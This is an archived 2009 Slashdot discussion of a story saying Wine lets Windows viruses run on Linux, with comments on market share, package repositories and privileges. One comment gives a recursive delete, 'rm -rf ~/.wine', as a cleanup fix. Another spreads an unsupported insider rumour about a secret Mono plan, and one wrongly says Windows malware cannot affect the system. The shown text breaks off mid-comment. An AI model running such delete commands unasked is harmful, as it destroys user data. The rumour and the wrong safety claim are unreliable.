<article>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#article09_10_24_1759213</id>
	<title>Now Linux Can Get Viruses, Via Wine</title>
	<author>timothy</author>
	<datestamp>1256409060000</datestamp>
	<htmltext>fsufitch writes <i>"Wine has advanced enough to make Linux <em>not</em> immune to Windows viruses. However, just like many Wine applications, it <a href="http://blog.opensourcenerd.com/i-can-haz-virus">takes a bit of effort to get the program off the ground</a>. Also, just like some Windows programs running via Wine, not all features may work &mdash; in this case, the crippling of the system, immunity to the task manager, identity theft, etc."</i></htmltext>
<tokenext>fsufitch writes " Wine has advanced enough to make Linux not immune to Windows viruses .
However , just like many Wine applications , it takes a bit of effort to get the program off the ground .
Also , just like some Windows programs running via Wine , not all features may work    in this case , the crippling of the system , immunity to the task manager , identity theft , etc .
"</tokentext>
<sentencetext>fsufitch writes "Wine has advanced enough to make Linux not immune to Windows viruses.
However, just like many Wine applications, it takes a bit of effort to get the program off the ground.
Also, just like some Windows programs running via Wine, not all features may work — in this case, the crippling of the system, immunity to the task manager, identity theft, etc.
"</sentencetext>
</article>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417</id>
	<title>marketshare</title>
	<author>Anonymous</author>
	<datestamp>1256412720000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>3</modscore>
	<htmltext><p>Haven't it always been pretty clear that Wine could run Windows viruses, as long as they don't use some weird low-level tricks (which admittedly many do)?</p><p>But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.</p><p>As long as the OS isn't completely locked down from the user, there will be malware. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.</p><p>It's just about the marketshare.</p></htmltext>
<tokenext>Have n't it always been pretty clear that Wine could run Windows viruses , as long as they do n't use some weird low-level tricks ( which admittedly many do ) ? But for that matter , Linux does n't have malware only because it 's desktop share is next to nothing ( not the same amount atleast , there are Linux viruses out too ) .
Mac OSX has been getting more and more viruses lately as it 's marketshare has been growing .
So would Linux aswell if it ever gained more users.As long as the OS is n't completely locked down from the user , there will be malware .
Windows , Mac , or Linux cant defend you from that .
But none of us really want a locked down OS .
And as long as the users are stupid their computers will get infected.It 's just about the marketshare .</tokentext>
<sentencetext>Haven't it always been pretty clear that Wine could run Windows viruses, as long as they don't use some weird low-level tricks (which admittedly many do)?But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too).
Mac OSX has been getting more and more viruses lately as it's marketshare has been growing.
So would Linux aswell if it ever gained more users.As long as the OS isn't completely locked down from the user, there will be malware.
Windows, Mac, or Linux cant defend you from that.
But none of us really want a locked down OS.
And as long as the users are stupid their computers will get infected.It's just about the marketshare.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29877827</id>
	<title>Whew!</title>
	<author>Cur8or</author>
	<datestamp>1256553240000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>Misread and for a second there I thought I might have to switch to beer.
Need sleep. Damn you<nobr> <wbr></nobr>/.</htmltext>
<tokenext>Misread and for a second there I thought I might have to switch to beer .
Need sleep .
Damn you / .</tokentext>
<sentencetext>Misread and for a second there I thought I might have to switch to beer.
Need sleep.
Damn you /.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475</id>
	<title>Linux's distribution model helps though</title>
	<author>Anonymous</author>
	<datestamp>1256413200000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p>The way Linux software is distributed, makes it much less likely to get a virus. You know how many applications I have downloaded from random websites in the past 2 years for my Linux system? Maybe, 2. All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.</p><p>The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.</p></htmltext>
<tokenext>The way Linux software is distributed , makes it much less likely to get a virus .
You know how many applications I have downloaded from random websites in the past 2 years for my Linux system ?
Maybe , 2 .
All of the rest are in the centrally managed , ( hopefully ) certified virus-free application repository , which is free for all.The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept .
For me , and moth others , if it is n't in the repository , I do n't bother - because there is probably something in the repository that suits my needs just as well or better anyway .</tokentext>
<sentencetext>The way Linux software is distributed, makes it much less likely to get a virus.
You know how many applications I have downloaded from random websites in the past 2 years for my Linux system?
Maybe, 2.
All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept.
For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29869187</id>
	<title>Luckily, I have a solution</title>
	<author>BhaKi</author>
	<datestamp>1256494500000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p> <tt>rm -rf ~/.wine; winecfg</tt> </p></htmltext>
<tokenext>rm -rf ~ /.wine ; winecfg</tokentext>
<sentencetext> rm -rf ~/.wine; winecfg </sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860681</id>
	<title>Just don't run WINE as Root</title>
	<author>Orion Blastar</author>
	<datestamp>1256387100000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>or administrator, then the viruses won't be able to install.</p><p>ReactOS is also based on WINE code, but it has a different security model than Windows XP/2003 has in that it is more like Linux in that normal user accounts cannot install anything or modify system files, you have to run as Administrator/Root for that. The same thing with WINE.</p><p>Just like you wouldn't surf the Internet as root, you don't want to run WINE as root either. In that way WINE is superior to Windows XP/2003 as it uses Linux security.</p><p>Actually I switched from WINE to VirtualBox from Sun to run Windows XP Pro in a virtual machine to get more XP compatibility. But it doesn't do 3D Video and DirectX 3D support very well, but that part is still being developed. It is the only way I can get Visual BASIC 2008 to run under Linux, WINE won't run it.</p></htmltext>
<tokenext>or administrator , then the viruses wo n't be able to install.ReactOS is also based on WINE code , but it has a different security model than Windows XP/2003 has in that it is more like Linux in that normal user accounts can not install anything or modify system files , you have to run as Administrator/Root for that .
The same thing with WINE.Just like you would n't surf the Internet as root , you do n't want to run WINE as root either .
In that way WINE is superior to Windows XP/2003 as it uses Linux security.Actually I switched from WINE to VirtualBox from Sun to run Windows XP Pro in a virtual machine to get more XP compatibility .
But it does n't do 3D Video and DirectX 3D support very well , but that part is still being developed .
It is the only way I can get Visual BASIC 2008 to run under Linux , WINE wo n't run it .</tokentext>
<sentencetext>or administrator, then the viruses won't be able to install.ReactOS is also based on WINE code, but it has a different security model than Windows XP/2003 has in that it is more like Linux in that normal user accounts cannot install anything or modify system files, you have to run as Administrator/Root for that.
The same thing with WINE.Just like you wouldn't surf the Internet as root, you don't want to run WINE as root either.
In that way WINE is superior to Windows XP/2003 as it uses Linux security.Actually I switched from WINE to VirtualBox from Sun to run Windows XP Pro in a virtual machine to get more XP compatibility.
But it doesn't do 3D Video and DirectX 3D support very well, but that part is still being developed.
It is the only way I can get Visual BASIC 2008 to run under Linux, WINE won't run it.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860611</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>Anonymous</author>
	<datestamp>1256386260000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>The way Linux software is distributed, makes it much less likely to get a virus. You know how many applications I have downloaded from random websites in the past 2 years for my Linux system? Maybe, 2. All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.</p><p>The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.</p></div><p>Someone using a computer running a linux distro doesn't mean they are a linux user. A friend of mine once took a network support call at Comcast from a "linux admin" that didn't know what resolv.conf was...</p></div>
	</htmltext>
<tokenext>The way Linux software is distributed , makes it much less likely to get a virus .
You know how many applications I have downloaded from random websites in the past 2 years for my Linux system ?
Maybe , 2 .
All of the rest are in the centrally managed , ( hopefully ) certified virus-free application repository , which is free for all.The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept .
For me , and moth others , if it is n't in the repository , I do n't bother - because there is probably something in the repository that suits my needs just as well or better anyway.Someone using a computer running a linux distro does n't mean they are a linux user .
A friend of mine once took a network support call at Comcast from a " linux admin " that did n't know what resolv.conf was.. .</tokentext>
<sentencetext>The way Linux software is distributed, makes it much less likely to get a virus.
You know how many applications I have downloaded from random websites in the past 2 years for my Linux system?
Maybe, 2.
All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept.
For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.Someone using a computer running a linux distro doesn't mean they are a linux user.
A friend of mine once took a network support call at Comcast from a "linux admin" that didn't know what resolv.conf was...
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859179</id>
	<title>YES</title>
	<author>Anonymous</author>
	<datestamp>1256375280000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>2010 will definitely be the year of the linux desktop now!</p></htmltext>
<tokenext>2010 will definitely be the year of the linux desktop now !</tokentext>
<sentencetext>2010 will definitely be the year of the linux desktop now!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859669</id>
	<title>Help Forum</title>
	<author>Anonymous</author>
	<datestamp>1256378640000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Maybe the virus creator will have to create a guide and post it on the AppDB over at WineHQ.</p></htmltext>
<tokenext>Maybe the virus creator will have to create a guide and post it on the AppDB over at WineHQ .</tokentext>
<sentencetext>Maybe the virus creator will have to create a guide and post it on the AppDB over at WineHQ.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865247</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>skeeto</author>
	<datestamp>1256492880000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>One is repository/domain hijacking</p></div><p>Just to clear this up, the packages are signed so you don't have to trust that a repository isn't serving malware.</p></div>
	</htmltext>
<tokenext>One is repository/domain hijackingJust to clear this up , the packages are signed so you do n't have to trust that a repository is n't serving malware .</tokentext>
<sentencetext>One is repository/domain hijackingJust to clear this up, the packages are signed so you don't have to trust that a repository isn't serving malware.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29864943</id>
	<title>Linux vs. Windows - security</title>
	<author>Anonymous</author>
	<datestamp>1256489640000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>I tell you what, I've had both a Windows and a Linux machine for the past several years. I'm not non-computer-savvy, and my family generally isn't thick when it comes to the internet (they know not to just download/install anything, click on all adverts they come across etc.) - hell, my mum has even developed a nose for when something fishy is happening on her laptop. Yet, we STILL have to run virus-scanners, and they STILL pick up more malware then we can be bothered to count.<nobr> <wbr></nobr>... on Windows. On the other hand, I've run Linux on my laptop for at least 3 years, without a single virus check - and it works as cleanly as it did when I first installed it. That's because I only download/install software from the central repository (and taught my brother to do so when in Linux), or from trusted companies' websites (Skype and Opera, for example). Not once has my brother come to me and asked whether a program's all right to install, nor has he ever needed to google for software thus far, even for his more obscure use-case (he wanted a music score editor and was using one only 5 minutes later).</p><p>Of course, if my family(/brother) was less technically savvy, I'd just take away root privileges and tell them to ask me every time, but as I illustrated above, they're not morons.</p></htmltext>
<tokenext>I tell you what , I 've had both a Windows and a Linux machine for the past several years .
I 'm not non-computer-savvy , and my family generally is n't thick when it comes to the internet ( they know not to just download/install anything , click on all adverts they come across etc .
) - hell , my mum has even developed a nose for when something fishy is happening on her laptop .
Yet , we STILL have to run virus-scanners , and they STILL pick up more malware then we can be bothered to count .
... on Windows .
On the other hand , I 've run Linux on my laptop for at least 3 years , without a single virus check - and it works as cleanly as it did when I first installed it .
That 's because I only download/install software from the central repository ( and taught my brother to do so when in Linux ) , or from trusted companies ' websites ( Skype and Opera , for example ) .
Not once has my brother come to me and asked whether a program 's all right to install , nor has he ever needed to google for software thus far , even for his more obscure use-case ( he wanted a music score editor and was using one only 5 minutes later ) .Of course , if my family ( /brother ) was less technically savvy , I 'd just take away root privileges and tell them to ask me every time , but as I illustrated above , they 're not morons .</tokentext>
<sentencetext>I tell you what, I've had both a Windows and a Linux machine for the past several years.
I'm not non-computer-savvy, and my family generally isn't thick when it comes to the internet (they know not to just download/install anything, click on all adverts they come across etc.
) - hell, my mum has even developed a nose for when something fishy is happening on her laptop.
Yet, we STILL have to run virus-scanners, and they STILL pick up more malware then we can be bothered to count.
... on Windows.
On the other hand, I've run Linux on my laptop for at least 3 years, without a single virus check - and it works as cleanly as it did when I first installed it.
That's because I only download/install software from the central repository (and taught my brother to do so when in Linux), or from trusted companies' websites (Skype and Opera, for example).
Not once has my brother come to me and asked whether a program's all right to install, nor has he ever needed to google for software thus far, even for his more obscure use-case (he wanted a music score editor and was using one only 5 minutes later).Of course, if my family(/brother) was less technically savvy, I'd just take away root privileges and tell them to ask me every time, but as I illustrated above, they're not morons.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859541</id>
	<title>Wine improving by feeding on Windows Viruses</title>
	<author>Zombie Ryushu</author>
	<datestamp>1256377980000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Is it possible that Wine could grow more powerful by running viruses on it, learning about how the virus interacts with Windows, and then figuring something "undocumented" about Windows from the virus? I could see Wine gaining alot of new and better functionality by learning from Windows Viruses that malware writers write. Turning every malware writer an unwitting Wine contributor.</p></htmltext>
<tokenext>Is it possible that Wine could grow more powerful by running viruses on it , learning about how the virus interacts with Windows , and then figuring something " undocumented " about Windows from the virus ?
I could see Wine gaining alot of new and better functionality by learning from Windows Viruses that malware writers write .
Turning every malware writer an unwitting Wine contributor .</tokentext>
<sentencetext>Is it possible that Wine could grow more powerful by running viruses on it, learning about how the virus interacts with Windows, and then figuring something "undocumented" about Windows from the virus?
I could see Wine gaining alot of new and better functionality by learning from Windows Viruses that malware writers write.
Turning every malware writer an unwitting Wine contributor.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861537</id>
	<title>Seriously?</title>
	<author>Anonymous</author>
	<datestamp>1256397120000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Since when did<nobr> <wbr></nobr>/. start linking to sites that are titled "I Can Haz Virus". It's quite interesting that if I try and install a virus on my desktop, I can succeed. What other type of obvious news can we expect in the future?</p></htmltext>
<tokenext>Since when did / .
start linking to sites that are titled " I Can Haz Virus " .
It 's quite interesting that if I try and install a virus on my desktop , I can succeed .
What other type of obvious news can we expect in the future ?</tokentext>
<sentencetext>Since when did /.
start linking to sites that are titled "I Can Haz Virus".
It's quite interesting that if I try and install a virus on my desktop, I can succeed.
What other type of obvious news can we expect in the future?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859971</id>
	<title>Its going to be Mono!</title>
	<author>Anonymous</author>
	<datestamp>1256380740000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Mono is going to be much more of a problem regarding viruses than Wine will ever be.</p><p>And in about three years, major core pieces of each Linux OS will be will be running under <a href="http://en.wikipedia.org/wiki/Mono\_(software)" title="wikipedia.org" rel="nofollow">Mono</a> [wikipedia.org].</p><p>How Do I know this?  My father sits on the board of Red Hat and is a partner in Canonical. He says that the cooperation/talks between MS and Canonical and Red Hat have increased dramatically and that each company agrees that a single runtime will increases interoperability between all three companies. And they've chosen Mono.</p><p>He says that it is all about money, no evil conspiracy. But he does say they (MS/Canonical/Red Hat) have made an agreement to push forwat Mono as THE platform, and that they really don't openly share this Grand Plan with their developers.  They just slowly are moving their developers in the direction of Mono, fearing that if they push too fast there might be some silly revolt.</p></htmltext>
<tokenext>Mono is going to be much more of a problem regarding viruses than Wine will ever be.And in about three years , major core pieces of each Linux OS will be will be running under Mono [ wikipedia.org ] .How Do I know this ?
My father sits on the board of Red Hat and is a partner in Canonical .
He says that the cooperation/talks between MS and Canonical and Red Hat have increased dramatically and that each company agrees that a single runtime will increases interoperability between all three companies .
And they 've chosen Mono.He says that it is all about money , no evil conspiracy .
But he does say they ( MS/Canonical/Red Hat ) have made an agreement to push forwat Mono as THE platform , and that they really do n't openly share this Grand Plan with their developers .
They just slowly are moving their developers in the direction of Mono , fearing that if they push too fast there might be some silly revolt .</tokentext>
<sentencetext>Mono is going to be much more of a problem regarding viruses than Wine will ever be.And in about three years, major core pieces of each Linux OS will be will be running under Mono [wikipedia.org].How Do I know this?
My father sits on the board of Red Hat and is a partner in Canonical.
He says that the cooperation/talks between MS and Canonical and Red Hat have increased dramatically and that each company agrees that a single runtime will increases interoperability between all three companies.
And they've chosen Mono.He says that it is all about money, no evil conspiracy.
But he does say they (MS/Canonical/Red Hat) have made an agreement to push forwat Mono as THE platform, and that they really don't openly share this Grand Plan with their developers.
They just slowly are moving their developers in the direction of Mono, fearing that if they push too fast there might be some silly revolt.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861317</id>
	<title>Difference between "purge" and "remove"...</title>
	<author>yet-another-lobbyist</author>
	<datestamp>1256394540000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Isn't the difference between "purge" and "remove" that "purge" also removes the user settings (in this case ~/.wine)?</htmltext>
<tokenext>Is n't the difference between " purge " and " remove " that " purge " also removes the user settings ( in this case ~ /.wine ) ?</tokentext>
<sentencetext>Isn't the difference between "purge" and "remove" that "purge" also removes the user settings (in this case ~/.wine)?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859433</id>
	<title>Hmm</title>
	<author>Krneki</author>
	<datestamp>1256377140000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>I hope it won't get the new sWine virus.</htmltext>
<tokenext>I hope it wo n't get the new sWine virus .</tokentext>
<sentencetext>I hope it won't get the new sWine virus.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860255</id>
	<title>I wrote about this and it was on Slashdot 7 yr ago</title>
	<author>cybereal</author>
	<datestamp>1256383140000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Hi, I wrote an article about my observations of klez infecting a computer that was both a friend's desktop machine and a small vhost business.  It was on slashdot SEVEN YEARS AGO.  So this is anything but news. <a href="http://tech.slashdot.org/article.pl?sid=02/10/23/1853219" title="slashdot.org">http://tech.slashdot.org/article.pl?sid=02/10/23/1853219</a> [slashdot.org]</p></htmltext>
<tokenext>Hi , I wrote an article about my observations of klez infecting a computer that was both a friend 's desktop machine and a small vhost business .
It was on slashdot SEVEN YEARS AGO .
So this is anything but news .
http : //tech.slashdot.org/article.pl ? sid = 02/10/23/1853219 [ slashdot.org ]</tokentext>
<sentencetext>Hi, I wrote an article about my observations of klez infecting a computer that was both a friend's desktop machine and a small vhost business.
It was on slashdot SEVEN YEARS AGO.
So this is anything but news.
http://tech.slashdot.org/article.pl?sid=02/10/23/1853219 [slashdot.org]</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>BikeHelmet</author>
	<datestamp>1256389320000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>2</modscore>
	<htmltext><p><div class="quote"><p>The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.</p></div><p>Correct - as an educated computer user.</p><p>Although there are two scenarios you're forgetting. One is repository/domain hijacking, and the other is something not being available except from an unknown website.</p><p>Ex 1: PlayOnLinux (simplifies working with Wine and installing some software - not in the repositories)<br>Ex 2: BackInTime (Gnome) - website disappeared a few weeks back. Domain name available for purchase.</p><p>Anyway, as an educated Windows user, I would check review sites like cnet or betanews(or a download site like filehippo) to see if software is legit or if it's going to pwn me. Then I'd download it - possibly from those central not-really-a-repository locations.</p><p>I hope I've drawn the parallel that user education matters a bit more than the specific type of central download location.<nobr> <wbr></nobr>;)</p></div>
	</htmltext>
<tokenext>The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept .
For me , and moth others , if it is n't in the repository , I do n't bother - because there is probably something in the repository that suits my needs just as well or better anyway.Correct - as an educated computer user.Although there are two scenarios you 're forgetting .
One is repository/domain hijacking , and the other is something not being available except from an unknown website.Ex 1 : PlayOnLinux ( simplifies working with Wine and installing some software - not in the repositories ) Ex 2 : BackInTime ( Gnome ) - website disappeared a few weeks back .
Domain name available for purchase.Anyway , as an educated Windows user , I would check review sites like cnet or betanews ( or a download site like filehippo ) to see if software is legit or if it 's going to pwn me .
Then I 'd download it - possibly from those central not-really-a-repository locations.I hope I 've drawn the parallel that user education matters a bit more than the specific type of central download location .
; )</tokentext>
<sentencetext>The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept.
For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.Correct - as an educated computer user.Although there are two scenarios you're forgetting.
One is repository/domain hijacking, and the other is something not being available except from an unknown website.Ex 1: PlayOnLinux (simplifies working with Wine and installing some software - not in the repositories)Ex 2: BackInTime (Gnome) - website disappeared a few weeks back.
Domain name available for purchase.Anyway, as an educated Windows user, I would check review sites like cnet or betanews(or a download site like filehippo) to see if software is legit or if it's going to pwn me.
Then I'd download it - possibly from those central not-really-a-repository locations.I hope I've drawn the parallel that user education matters a bit more than the specific type of central download location.
;)
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862953</id>
	<title>Gee, maybe we should bake a cake or something</title>
	<author>bratwiz</author>
	<datestamp>1256461860000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Gee, what an illustrious milestone. A red-letter day for Linux. Woo-hoo... whoop it up boys and girls! A system so desperate for exploits that we'll EMULATE a whole 'nuther system just to get them!</p></htmltext>
<tokenext>Gee , what an illustrious milestone .
A red-letter day for Linux .
Woo-hoo... whoop it up boys and girls !
A system so desperate for exploits that we 'll EMULATE a whole 'nuther system just to get them !</tokentext>
<sentencetext>Gee, what an illustrious milestone.
A red-letter day for Linux.
Woo-hoo... whoop it up boys and girls!
A system so desperate for exploits that we'll EMULATE a whole 'nuther system just to get them!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865809</id>
	<title>Re:Anonymous Coward</title>
	<author>karlzt</author>
	<datestamp>1256497200000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>well, i have to use internet explorer to get to the web page of my university</htmltext>
<tokenext>well , i have to use internet explorer to get to the web page of my university</tokentext>
<sentencetext>well, i have to use internet explorer to get to the web page of my university</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860497</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862215</id>
	<title>Cool can I buy AntiVirus software for Linux now?</title>
	<author>Anonymous</author>
	<datestamp>1256405100000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>This is great I'll have to try to get some Windows AntiVirus software to run under Wine. I you were looking for a sign that Linux desktop has arrived: McAfee and Norton start making profit on Linux!</p></htmltext>
<tokenext>This is great I 'll have to try to get some Windows AntiVirus software to run under Wine .
I you were looking for a sign that Linux desktop has arrived : McAfee and Norton start making profit on Linux !</tokentext>
<sentencetext>This is great I'll have to try to get some Windows AntiVirus software to run under Wine.
I you were looking for a sign that Linux desktop has arrived: McAfee and Norton start making profit on Linux!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859597</id>
	<title>its been known for a long time</title>
	<author>luther349</author>
	<datestamp>1256378280000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>wine has been able to run a vires payload for a wile now. it doesent effect the system any. linux can spred a windows vires to a windows system but not get infected itsself. this is why linux antivires softwhere is out not to relly protect the linux system but to prevent accidentally sending a infected file to windows.</htmltext>
<tokenext>wine has been able to run a vires payload for a wile now .
it doesent effect the system any .
linux can spred a windows vires to a windows system but not get infected itsself .
this is why linux antivires softwhere is out not to relly protect the linux system but to prevent accidentally sending a infected file to windows .</tokentext>
<sentencetext>wine has been able to run a vires payload for a wile now.
it doesent effect the system any.
linux can spred a windows vires to a windows system but not get infected itsself.
this is why linux antivires softwhere is out not to relly protect the linux system but to prevent accidentally sending a infected file to windows.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859203</id>
	<title>Finally!</title>
	<author>Anonymous</author>
	<datestamp>1256375460000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Now Linux is ready for the desktop!</p></htmltext>
<tokenext>Now Linux is ready for the desktop !</tokentext>
<sentencetext>Now Linux is ready for the desktop!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862447</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>JackieBrown</author>
	<datestamp>1256408700000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>set<nobr> <wbr></nobr>.bashrc as read only or don't have one at all so it can use the systems version.</p><p>It is a lot easier to prevent attack in linux than in windows.  No one is saying it is impossible to attack it though.</p></htmltext>
<tokenext>set .bashrc as read only or do n't have one at all so it can use the systems version.It is a lot easier to prevent attack in linux than in windows .
No one is saying it is impossible to attack it though .</tokentext>
<sentencetext>set .bashrc as read only or don't have one at all so it can use the systems version.It is a lot easier to prevent attack in linux than in windows.
No one is saying it is impossible to attack it though.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860113</id>
	<title>Not really news</title>
	<author>Erikderzweite</author>
	<datestamp>1256382000000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>It has been known for some time that viruses might run on wine. Threr is an urban legend about some Linux user who has tried to launch some malware in wine just to see if it's gonna work.<br>It worked. Indeed it worked so well, that the malware has managed to steal his ICQ password from QIP (which was running in wine too).</p></htmltext>
<tokenext>It has been known for some time that viruses might run on wine .
Threr is an urban legend about some Linux user who has tried to launch some malware in wine just to see if it 's gon na work.It worked .
Indeed it worked so well , that the malware has managed to steal his ICQ password from QIP ( which was running in wine too ) .</tokentext>
<sentencetext>It has been known for some time that viruses might run on wine.
Threr is an urban legend about some Linux user who has tried to launch some malware in wine just to see if it's gonna work.It worked.
Indeed it worked so well, that the malware has managed to steal his ICQ password from QIP (which was running in wine too).</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861521</id>
	<title>I like Linux but...</title>
	<author>Anonymous</author>
	<datestamp>1256397000000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Linux has a few issues, and with the rise of virus attacks that target MacOS's (which are Unix Based similar to most Linux Distros) this is even a bigger issue for the linux user.  Why?  because Linux can't get it together completely.  There are dozens of Linux Distros from Googles upcoming Chrome OS to Ubuntu and Redhat.  All this does is make it a pain for anyone to create effective 3rd part software because of all the variations in the Linux Kernel being used.  If Linux ever wants to go mainstream all the major distros need to adopt a standard that all of them will follow.  Until then have fun getting decent support for anything Linux related.</p></htmltext>
<tokenext>Linux has a few issues , and with the rise of virus attacks that target MacOS 's ( which are Unix Based similar to most Linux Distros ) this is even a bigger issue for the linux user .
Why ? because Linux ca n't get it together completely .
There are dozens of Linux Distros from Googles upcoming Chrome OS to Ubuntu and Redhat .
All this does is make it a pain for anyone to create effective 3rd part software because of all the variations in the Linux Kernel being used .
